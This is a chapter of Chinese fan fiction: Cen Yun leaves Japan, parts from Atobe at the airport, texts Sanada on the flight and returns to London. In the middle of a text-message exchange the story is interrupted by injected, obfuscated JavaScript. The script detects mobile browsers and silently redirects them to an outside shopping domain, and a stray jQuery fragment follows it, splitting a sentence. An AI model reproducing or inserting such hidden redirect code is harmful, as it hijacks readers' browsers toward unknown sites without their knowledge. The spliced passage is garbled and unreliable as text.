真正离开日本的那天,比岑韵过去几周想象中到来的快很多。

    家里的大部分东西已经提前交给运输公司。书、衣服、乐谱和那些装了很多年生活痕迹的纸箱,会分批抵达伦敦。那架钢琴走得更早,现在还在运输途中。

    所以真正到机场时,岑韵身边反而没有多少行李。两个需要托运的大箱子,一只随身背包,以及岑韵背在身后的大提琴。

    迹部第一眼注意到的就是琴盒:“本大爷还以为你至少会把自己弄得像搬家一点。”

    岑韵停下来:“我家真的已经搬走了。”

    “看不出来。”

    “因为正常人不会把六箱书背在身上。”

    迹部的视线在她的大提琴和旁边两个箱子之间扫了一遍:“所以你最后亲自带的就这些?”

    “还有电脑。”

    “很符合你。最贵的两样自己背着。”

    岑韵想了一下,认真纠正:“大提琴比电脑贵多了。”

    迹部显然不想知道到底贵多少,直接把这个话题略了过去。

    坎贝尔女士和迹部夫妇站在一起。这次离开日本虽然是因为任期结束,但工作上的正式离任早已在使馆处理完,今天完全属于私人行程。坎贝尔女士与迹部夫人这些年私交一直很好,因此迹部一家只是以朋友的身份来送她们。

    几个大人很快聊起伦敦。迹部夫人问坎贝尔女士回去以后是不是仍然住在Northfields,迹部父亲偶尔补几句,他们从工作聊到天气,又说起之后去英国时再见。

    岑韵听了一会儿,发现暂时没有自己什么事,很自然地跟迹部退到旁边。

    “你什么时候回英国?”她问。

    “夏天还有几站比赛。”

    “你真的还准备继续打?”

    迹部瞥她一眼:“什么叫‘还’?”

    “因为你跟他们两个不一样。”

    这个“他们两个”当然是真田和幸村。

    迹部听得出来,也没有否认。

    他这一年的比赛安排确实没有真田和幸村那么密集。参加日本网协的青年训练以后,他也开始进入国际青少年赛事体系,但对迹部来说,这并不是现在必须立刻决定职业道路的一条线。

    他想打,也确实想知道自己究竟能打到哪里。可这和真田那种已经开始尝试M15、明显在向职业赛事靠近的状态完全不同。

    迹部自己显然也很清楚。

    “本大爷又没有说要现在决定以后只做这个。”

    “所以就是试试?”

    迹部皱眉:“你能不能换个听起来没那么随便的说法?”

    岑韵想了一会儿:“严肃地试试。”

    迹部沉默两秒:“没有变好。”

    岑韵笑起来。

    迹部懒得再纠正她,只把自己之后的大致安排说了一遍。春末到夏天,他会把更多比赛放在英国和欧洲大陆。一方面学校和家庭安排本来就让他往返英国更加方便,另一方面欧洲接下来的青少年赛事也足够密集。

    “法网也去?”岑韵问。

    “去。”

    她立刻看他:“你也进了?”

    迹部扬了一下眉。

    岑韵马上改口:“好吧,当我没问。”

    “你问真田的时候也是这个态度?”

    “他比你谦虚。”

    迹部像是听见了什么很荒唐的话:“真田只是不会把话说出来。”

    “这是优点。”

    “你对他的标准是不是太低了一点?”

    岑韵转头瞪他:“你今天到底是来送我还是来挑拨关系的?”

    “本大爷对你们的关系没有兴趣。”

    “你每次说没有兴趣的时候,听起来都很有兴趣。”

    “那是因为你总能把话题绕回真田身上。”

    岑韵顿了一下。

    迹部很平静地看她。这次轮到岑韵不说话了。

    迹部嘴角终于有了一点很浅的笑意,没再继续追究,过了一会儿才随口提起:“上个月我在伦敦见过Leo。”

    岑韵果然立刻抬头:“他没告诉我。”

    “为什么要告诉你?”

    “因为他是我弟弟。”

    “所以他见朋友需要向你报备?”

    “不是报备。”岑韵顿了顿,“是正常的信息共享。”

    “听起来一样。”

    “你不要把我的家庭关系说得这么专制。”

    迹部看她一眼:“你刚才第一反应是问他为什么没告诉你。”

    “因为你很可疑。”

    “本大爷?”

    “你和Leo单独在伦敦见面就很可疑。”

    “我们只是吃了顿饭。”

    “就这样?”

    “你觉得还要怎样?”

    岑韵想了一会儿:“我不知道。你们两个听起来很容易偷偷策划一些我不知道的事情。”

    “没人有这么多时间研究你。”

    “Leo有。”

    “他现在比你忙。”

    这一点岑韵倒是承认。Leo回英国以后重新进入更高水平的击剑训练体系,学校、比赛和训练几乎把时间全部占满。姐弟两个人现在依然经常联系,但已经不像他还在日本时那样知道彼此每天所有事情。

    岑韵想到这里,突然问:“他看起来怎么样?”

    “很好。”迹部说,“而且比在日本的时候看起来更适合他。”

    这句话让岑韵安静了一会儿。这句话她听懂了。Leo当初离开日本时,并没有因为舍不得谁而犹豫。他回到欧洲以后进入更适合自己的击剑环境,现在已经重新建立了另一套生活。

    她大概也会这样。

    迹部看她一眼:“怎么,现在开始后悔要走了?”

    “没有。”

    “那副表情不像。”

    “我只是突然觉得很奇怪。”

    “什么?”

    岑韵回头看了一眼正在和迹部夫人说话的母亲:“我本来一直觉得自己是从另外一个地方来日本,”她停了一下,“现在突然变成要回去了。”

    迹部没有立刻回答。过了一会儿,他才说道:“因为你在这里待得够久。”

    “三年多。”

    “已经够你把自己折腾得像本地人了。”

    岑韵低头看了一眼很光滑的地面:“我刚来的时候感觉完全不一样。”

    “看得出来。”迹部笑了一声。

    岑韵立刻警觉:“哪里?”

    “日语,学校规矩,还有室内鞋。”迹部扫了一眼她现在穿的运动鞋。

    “这一条不算。”

    迹部又笑了:“为什么不算?”

    “因为那只是一次失误。”

    “整个冰帝都知道。”

    “迹部景吾。”岑韵瞪他,气氛反而又轻松下来。

    两个人一路说着,跟着其他人往商务舱柜台走。

    岑韵和坎贝尔女士最后需要托运的只有两个箱子。工作人员核对护照和行程,又重新确认大提琴的客舱座位安排,检查琴盒尺寸和标签。岑韵站在旁边,看着地勤人员再次核对那张属于乐器的座位信息,突然觉得有点荒谬。

    她的大提琴甚至有自己的座位。

    她本人却好像直到今天,都还没有完全适应“回伦敦”这件事。

    迹部大概看出了她的表情:“后悔的话现在还能不走。”

    岑韵立刻转头:“你上周不是还说弦一郎支持我这个决定很正确?”

    “本大爷只是说,他难得做了一件不像笨蛋的事。”

    “他说让我走的时候,我哭得特别惨。”

    “想象得到。”

    “你一点都不同情我?”

    迹部看她一眼:“因为他没说错。”

    岑韵有点不服:“所以如果换成你,你也会让我走?”

    “当然。”

    “你们真的很烦。”

    迹部却没有继续和她开玩笑。他停了一会儿,才说道:“不过真田能做到这样,确实比我原本想的强一点。”

    岑韵愣了一下,“你这是在夸他?”

    “不要曲解。”

    “我一定要告诉他。”

    “随便你。”迹部看了一眼已经办理完的行李,“至少他没有因为自己舍不得,就把你留在日本。”

    岑韵没有再笑。她又想起那一天,真田坐在自己旁边,一遍又一遍拒绝说那句“你留下”。明明最后眼睛都红了,也还是让她把邮件发出去。

    “嗯,”她低声说:“他没有。”

    迹部看她一眼:“所以你也别回了伦敦以后,一副是他把你赶走的样子。”

    岑韵立刻恢复:“我什么时候这样了?”

    “现在。”

    “没有。”

    “你脸上就这么写着。”

    “你的观察力没有那么好。”

    迹部没有再和她争。

    手续办完以后,他们又在公共区域待了一会儿。直到走到安全检查入口附近,分别才突然有了很明确的边界。再往前,就只剩岑韵和坎贝尔女士。

    几个大人先告别。坎贝尔女士和迹部夫妇分别拥抱,约好回伦敦以后再联系。迹部夫人也抱了抱岑韵,提醒她到家发消息。

    最后才轮到迹部。

    两个人面对面站了两秒,岑韵忽然觉得场面有一点尴尬。平时他们从来没有认真想过应该怎么告别。

    迹部看她:“你那是什么表情?”

    “我在想我们是不是应该握手。”

    迹部一脸嫌弃:“你要去参加商务会议?”

    “那怎么办?”岑韵挑眉,“你也要跟我抱一下?”

    “你为什么说得像本大爷很想抱你?”

    “因为迹部同学如果主动提出来,我会很配合。”

    “谁主动提了?”

    “所以你不抱?”

    迹部大概终于忍无可忍,直接向前一步,很短地抱了她一下。动作非常克制,甚至可以说相当礼貌。

    岑韵却是真的愣了一下,下意识也回抱了他。

    迹部很快松开:“到了伦敦别一副第一次去英国的样子。”

    岑韵站直,却没有立刻接话。她盯着迹部看了两秒,突然笑起来:“你真抱我了。”

    迹部的表情瞬间变得很难看:“不是你要求的?”

    “我只是问一下。”

    “所以?”

    “你居然这么听话。”

    迹部的眉心明显跳了一下。

    岑韵彻底笑起来:“而且好绅士。”

    “闭嘴。”

    “我有点不习惯。”

    “那你现在可以走了。”

    岑韵笑得很开心。她后退了半步,重新背好大提琴:“伦敦见。”

    迹部看着她,“伦敦见。”

    走出去两步,她又回头:“或者巴黎。”

    迹部扬眉。

    “你不是也去法网?”

    “本大爷当然去。”

    “那巴黎见。”

    迹部抬了一下手:“巴黎见。”

    岑韵这才真的跟着母亲往里走。

    走出一段距离以后,她还是回了一次头。迹部一家仍站在原来的地方。迹部没有挥手,只远远抬了一下下巴。

    很迹部。

    岑韵也没挥手,只笑了一下,然后转回身。

    这一次真的走了。

    =====

    过完安检和出境检查以后,机场忽然像换了一个世界。

    岑韵跟着母亲往休息室走,大提琴仍然背在身后,每走几步,琴盒都会随着动作轻轻碰一下她的背。这一刻她才第一次产生一种非常明确的感觉:她真的离开了。

    坎贝尔女士看了她一眼,见女儿只是背着大提琴安静往前走,也没有追问,只说先去休息室。

    岑韵点头。

    之后直到登机,她们都没有再专门谈离开这件事。

    大提琴提前订好了客舱座位。登机以后,空乘协助她把琴盒固定在座位上。岑韵回到自己位置之前,看了一眼被安全带认真固定好的琴,还是觉得有点好笑,于是先拍了一张照片发给真田。

    ——它也有座位。

    德国那边很快回复。

    ——看到了。

    过了一会儿,又来了一条:

    ——好好休息。别一直看书。

    岑韵一下笑了。

    ——数学也不行?

    ——更不行。

    ——你管得好多。

    ——到了伦敦以后再看。

    岑韵看着输入框,手指停了一会儿,还是发

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877116|209411||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    出一句:

    ——我要走了。

    发完以后,她自己都觉得有点多余。这句话已经说过很多遍。真田比谁都清楚她今天会飞回伦敦。可真正坐在飞机上,东京就在舷窗外,她还是突然很想再告诉他一次。

    真田没有说什么安慰的话,只回复:

    ——到家告诉我。

    岑韵看着这几个字,忽然又想哭。她忍住了。

    ——好。

    飞机开始准备滑行时,真田又发来最后一条:

    ——明天双打第一轮。

    岑韵一下笑了。

    ——赢了告诉我。

    ——会。

    她这才开了飞行模式。屏幕上的网络标志消失以后,东京像也跟着安静下来。

    =====

    真正飞起来以后,岑韵反而没有一直看窗外。

    吃完第一顿饭,客舱灯光慢慢暗下去。她开电脑看了一会儿东西,又关掉;书翻了不到十页,也没有继续。座椅已经完全放平,她却躺了很久都没有睡着。

    最后,她忽然想起书包里的兔犬。

    那只从真田房间里费了很大力气才拿到的公仔,被她单独塞在随身行李里。岑韵把它拿出来,借着昏暗的灯光看了一会儿。

    长又圆的耳朵,柔和的颜色,无论怎么看,都和那个每天一本正经训练、训练笔记写得整整齐齐、连给她一支旧毛笔都要指定是哪一支的人格格不入。

    也正因为如此,她越看越想笑。

    坎贝尔女士过来确认了一下女儿的状态,看到她躺在那里抱着一只粉色毛绒玩具,稍微愣了一下。

    “什么时候买的?”

    “不是买的。”岑韵把兔犬往怀里抱了一点,“弦一郎的。”

    坎贝尔女士看了她两秒,没有继续问,只说道:“睡一会儿吧,还要飞很久。”

    “嗯。”

    岑韵原本只是把兔犬放在枕头边。后来不知道什么时候,真的睡着了。

    再次醒来时,客舱里依然很暗。兔犬还躺在枕头旁。

    岑韵伸手把它重新抱进怀里。

    这一次很快又睡了过去。

    =====

    抵达伦敦的时候,外面正在下小雨。有点像三年前她到东京那天。

    真正走出机场以后,岑韵的第一感觉并不是“回家”,而是一种奇怪的熟悉。

    英文重新变成周围唯一的语言,指示牌不需要在脑子里转换。工作人员说话的节奏、广播里的口音、车流的方向,甚至空气里那种潮湿而偏冷的味道,都属于她小时候已经习惯的世界。

    可她背着大提琴站在出口,却有那么几秒不知道自己应该先看哪里。

    Leo在出口等着他们。远远看见坎贝尔女士和岑韵以后,他没有立刻上前,反而站在原地把她从头到脚打量了一遍。

    岑韵走过去:“你干什么?”

    Leo笑了一下:“你看起来像第一次来伦敦。”

    “我只是困。”

    “Sure.”

    岑韵懒得和他争,直接把其中一个箱子的拉杆塞进他手里。

    Leo顺手接过,又看了一眼她背后的大提琴:“钢琴还在路上。”

    “嗯,还要几天。”

    “那家里这几天会很安静。”

    岑韵看他:“你会听几天锯木头。”

    Leo笑出了声。

    他们往停车的方向走。坎贝尔女士在和来接她们的外公外婆再次确认行李。Leo拖着箱子走在岑韵旁边,顺口把日本那边剩下的事情过了一遍。学校已经退了,桐生老师也开始帮她联系伦敦的新钢琴老师。

    Leo听完,最后若无其事地问:“男朋友呢?”

    岑韵转头看他。

    “我只是按照列表继续。”

    “他在德国。”

    “我知道。”

    岑韵眯起眼睛:“你怎么知道?”

    Leo不回答。岑韵盯了他几秒,最后决定不浪费刚下飞机的精力继续审讯。

    车离开机场以后,伦敦慢慢铺到窗外。

    灰色的天,潮湿的道路,一排排熟悉的砖房,公交车,开始重新变绿的街边树木。这些地方她当然认识。很多路甚至闭着眼都知道应该往哪里走。可几年以后再看,它们却带着一种很奇怪的距离感。

    不像陌生地方。

    更像一个曾经非常熟悉的人。对方没有改变多少,可她自己已经不是离开时的样子。

    车最终停在安静街道上。岑韵下车以后,没有立刻进去。眼前的三层砖房和记忆里几乎没有区别,只是和圣诞节相比,树篱已经重新变绿。

    Leo已经走上台阶,回头才发现她还站在原地:“你真的像第一次来。”

    岑韵这才跟上去:“你今天已经说第二遍了。”

    “因为是真的。”

    “闭嘴。”

    Leo笑着帮她把箱子拎上二楼,很快就回了自己的房间。

    岑韵把大提琴靠到墙边,站在自己原来的房间里看了一会儿。这里当然还是她的房间。窗帘、书架、窗边那只已经被阳光晒得有些褪色的帕丁顿熊,很多东西都还保持着她记忆里的位置。

    只是她忽然觉得,它们像是在这里等了她很久。

    岑韵拿出手机。现在她和真田之间只剩一个小时的时差。

    她先发:

    ——到了。

    回复很快出现。

    ——知道了。

    紧接着又是一条:

    ——双打赢了。

    岑韵站在窗边笑起来。

    ——恭喜。

    她看了一眼旁边那只旧帕丁顿熊,又顺手拍了张照片发过去。

    ——我现在真的在伦敦了。

    这只熊真田以前来伦敦时见过。

    过了一会儿,他回复:

    ——嗯。

    还是那个一点都不特别的回答。岑韵却盯着看了一会儿,才把手机收起来。然后她朝隔壁喊:“Leo。”

    “什么?”

    “晚上吃什么?”

    Leo从门口探出头:“你刚回来第一件事就是这个?”

    “我饿了。”

    Leo看着她,过了几秒终于笑起来。

    “Welcome home.”